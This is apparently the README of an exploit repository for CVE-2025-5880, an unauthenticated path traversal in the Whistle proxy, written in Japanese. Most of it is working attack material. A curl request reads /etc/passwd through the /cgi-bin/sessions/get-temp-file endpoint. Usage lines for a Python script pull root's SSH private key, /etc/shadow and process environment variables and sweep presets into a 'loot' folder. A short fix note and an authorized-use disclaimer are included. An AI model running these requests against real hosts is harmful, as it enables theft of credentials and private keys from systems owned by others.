
Whistle v2.9.98における認証されていないパストラバーサルの脆弱性の概念実証エクスプロイト。
Whistle v2.9.98 における未認証のパストラバーサル脆弱性の実証コード。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-5880 |
| CWE | CWE-22 (パストラバーサル) |
| 影響を受けるソフトウェア | Whistle ≤ 2.9.98 |
| 影響を受けるエンドポイント | /cgi-bin/sessions/get-temp-file |
| 攻撃ベクトル | ネットワーク — 認証不要 |
| 影響 | ホストファイルシステム上の任意のファイル読み取り |
filename クエリパラメータはサニタイズされずにディスク上のファイルを開くために使用されるため、攻撃者は意図された一時ファイルディレクトリから脱出し、Whistle プロセスがアクセス権限を持つ任意のファイル(例: /etc/passwd, /root/.ssh/id_rsa)を読み取ることができます。
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# No external dependencies
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
# Read /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Grab root's SSH private key
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Read an arbitrary path
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Sweep & save all presets
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Whistle を、filename パラメータを検証して意図された一時ファイルディレクトリに制限するバージョンに更新してください。サーバー側で許可リストによるパス正規化(例: path.resolve + プレフィックスチェック)を適用してください。
このツールは承認されたセキュリティテストおよび教育目的のみで提供されます。
所有していない、または明示的なテスト許可がないシステムに対する不正使用は違法かつ非倫理的です。
著者は誤用に対する一切の責任を負いません。
| フラグ | 説明 |
|---|
-u / --url | ターゲットのベースURL(例: http://192.168.1.10:8899) |
-f / --file | 読み取る任意のファイルパス |
--preset | 名前付きショートカット: passwd shadow hosts id_rsa … |
--sweep | すべてのプリセットを自動的に反復処理 |
-o / --output | 結果をファイルに保存 |
--save-dir | --sweep による取得物を保存するディレクトリ |
--timeout | HTTPタイムアウト(秒、デフォルト 10) |